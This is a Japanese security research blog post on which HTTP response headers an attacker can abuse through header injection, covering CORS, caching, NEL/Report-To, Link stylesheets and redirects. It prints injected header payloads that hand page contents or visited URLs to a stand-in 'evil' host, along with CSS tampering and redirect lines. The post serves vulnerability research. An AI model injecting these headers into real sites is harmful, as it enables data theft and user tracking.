HTTPヘッダについての調査(1/?)

HTTPヘッダインジェクションにおいて使えるヘッダについて調べてみた。ヘッダ内の挿入箇所から改行2つで応答ボディに抜けられないことはしばしばあって、そういう場合は基本的にヘッダだけで何とかしなければならない。そういう状況が主な想定ケースであるが、それに留まらず一般論としてHTTPヘッダにどれだけの能力があるのかを考えてみたい。

このテーマについては、2017年にWebLogicのバグを報告した際に調べたことがあり、まとまった調査としては4年ぶりとなる。今回の結果のうちNELヘッダについては既に別記事に書いた。

ヘッダで何ができるかは応答のステータスにもよるが、以下では簡単のためステータス200を前提とし、HTTPリダイレクト(ステータス30x)で動くものはその旨記載した。調べた結果、現時点では全く使えないものには[×]印を付けている。

書いていったら結構なボリュームになってしまったので、とりあえず書き終わった分だけを以下に公開する(続きはまた改めて記事にしたい)。

CORS (Access-Control-*)

まずは、ヘッダが入るページのボディに何らかの機密情報が含まれているとして、それを取得したい。そのためには、下のようにCORSのヘッダを入れてやり、それをXHRやFetchすればよい。

Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

GETでもPOSTでも送れる万能な方法だが、現在はこの方法だけでボディが取れるとは言い切れなくなっている。

というのは、

  • SameSite=LaxCookieが増えてきた。
  • クロスサイトのXHRやFetchではLaxのCookieが送られない。
  • LaxのCookieが無いとヘッダインジェクションできない or 機密情報が応答に出ないことがある。

という状況があるため。

CookieがLaxの時のボディの取得については、以下で他の方法も検討する。

キャッシュ (Cache-Control)

CookieがLaxの時に、キャッシュを使ってボディが取得できるかを考える。

クロスサイトであっても、GETのTop level navigationであればLaxのCookieも送信される。その際に以下のヘッダを入れる(GETでヘッダインジェクションできることが前提になる)。

Cache-Control: public, max-age=100, immutable

この応答がリバースプロキシなどにキャッシュされれば、攻撃者はそのキャッシュを取れるだろう。

ブラウザキャッシュも攻撃対象になりうる。例えばTop level navigationで以下のヘッダを入れる。

Cache-Control: private, max-age=100
Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

このブラウザキャッシュを攻撃者のページからfetch/XHRすればよい。実際IEではこの方法でブラウザキャッシュが取れる。

だが他のブラウザでは簡単にはいかない。モダンブラウザは同じURLであっても要求の文脈によりキャッシュを使い分けるためだ。調べてみたら「Double keying」というキャッシュ方式のFirefoxでは攻撃の余地が少しはあることが分かった。

概要を書くと、Firefoxでは下の2つがキャッシュのキーになる*1

① キャッシュ対象リソースのURL
② 最上位ページ(window.top)のサイト

要は、②の最上位ページのサイトが一致しなければキャッシュを読めない。逆に言えば、例えば対象サイトのどこかのページに攻撃者のiframeを入れられれば、仕込んでおいたキャッシュにiframe内からfetchでリーチできる。リーチできれば、そのキャッシュに入れておいたAccess-Control-*のおかげで中身が取れる。

前段の「対象サイトに攻撃者のiframeが入る」*2というのは厳しい条件だ。Chromeなどは「Triple keying」というキャッシュキーの方式であり、さらに難しい。

なお、本記事ではあまり触れないが、リバースプロキシなどのサーバ側のキャッシュは、中身を奪うだけではなく汚染する対象にもなりうる。その文脈では他人にURLを踏ませる必要はないわけで、CookieのSameSiteなど面倒なことは考えなくてよくなる。

Network Error Logging (NEL, Report-To)

前回記事を参照。下のようなヘッダを入れると、その後にユーザがアクセスするURLを継続的に取得できるようになる。

NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://evil"}]}

このヘッダはHTTPリダイレクト(30x)でも有効だ。ただし、NELにはChromeのみが対応しており、HTTPSでなければならないという制約がある。

CSS (Link)

HTMLのLinkタグ(の一部)はヘッダにも書ける。

Link: <URL>; rel=linktype

Relの値の種類は、HTML Spec, MDN, IANAを参照。ざっと見た結果、LinkヘッダでURLの取得処理が走るrelは以下のみだった*3

Chrome prefetch, preload, modulepreload
Safari preload
Firefox prefetch, preload, stylesheet, next
IE 無し

この項では、Firefoxだけが対応しているrel=stylesheetを取り上げる。

名前のとおり、これを使うとヘッダからページにCSSが入れられるため、ページの見た目を改竄できる。

Link: <data:,body{display:none} html::after{content:"hello"}>; rel=stylesheet

見た目の改竄以外にも、CSSが入るので属性セレクタやfontなどを使いボディの一部を抜き取れるかもしれない。

もう1つありうるのはCSSXSSだ。ヘッダが入るページそのものではなく、そこを起点にして同じオリジンの別のページ(下のanothePage.cgi)の中身を部分的に取れる可能性がある。

Link: </anotherPage.cgi>; rel=stylesheet

ブラウザは、同じオリジンのリソースはtext/htmlなどであってもCSSとして解釈するため*4、理屈上はCSSXSSが成立する。CookieもSameSiteのものを含めて送信される。しかしFirefoxCSSパーサは厳密なので、別のページの情報を取れる状況はかなり限定されるだろう。

なお、文字コードを使ったCSSXSSの余地はあるかもしれない(UTF-16の例)。ブラウザはLinkヘッダに付いているcharset指定を無視するが、文字コード指定が無い時に、親のページから子に文字コードが継承される仕組みは今もあるためだ。

[×] JavaScript/HTML (Link)

ヘッダでCSSが入るならば、JavaScriptはどうなのか... ということで試してみた。

まずはChromeが対応しているLink: rel=modulepreload仕様)だが、名前のとおりpreloadするだけでJSが実行されることはないようだ(rel=preload; as=scriptも同じ)。

過去にはHTML Importsのための<link rel=import>があった。いずれヘッダでも使えるようになったりしないよな... と思っているうちに、HTML Imports仕様自体が消えてしまった。

もう一つ、今回の調査で知ったのだが、Link: rel=serviceworkerもあったらしい(Suikawiki, Jxck blog)。そもそもService Workerの登録には制約が多いため使いづらいのではあるが、これもHTML仕様から消えてしまい現在は解釈されない。

という訳で、現時点では、ヘッダで正面切ってJS/HTMLを入れ込む方法は無いようだ。ただ、上記のようにLinkは新しいものが出ては消えていく状況なので、将来的には何かまた出て来ないとも限らない。

リダイレクタ (Refresh, Location)

ステータス200などであればRefreshヘッダをオープンリダイレクトに使える。

Refresh: 0; url=URL

一部のブラウザでは、RefreshLocationjavascript:data:のURLを入れてXSSできた時代もあった。今もChrome, Firefox, Safariではdata:にリダイレクトできるが(Top level navigationできるのはSafariのみ)、そのオリジンはnullになる。なので、現在ではこれらのヘッダは単なるリダイレクタくらいの用途しかない。

HTTPリダイレクト(30x)の時はLocationを使うことになる。Locationヘッダが複数ある時、IESafariは先頭のものを使い、ChromeFirefoxプロトコルエラーとする。ちなみに、単一の空のLocationがあると30xのボディをレンダリングするChromeの挙動は今も変わっていない。


とりあえず第1回として書いた分だけ公開した。残りの分は別途記事にしたい。

*1:厳密には、キャッシュのキーには、クレデンシャル有り無しのフラグなども含まれる。

*2:必ずしもiframeである必要はない。embedされたSVGなどでもOKのはず。

*3:HTTPでコンテンツを取得しないdns-prefetchなどは除く。FirefoxChromeソースコードも見たが、他に無さそうである。

*4:X-Content-Type-Options: nosniffは無い前提。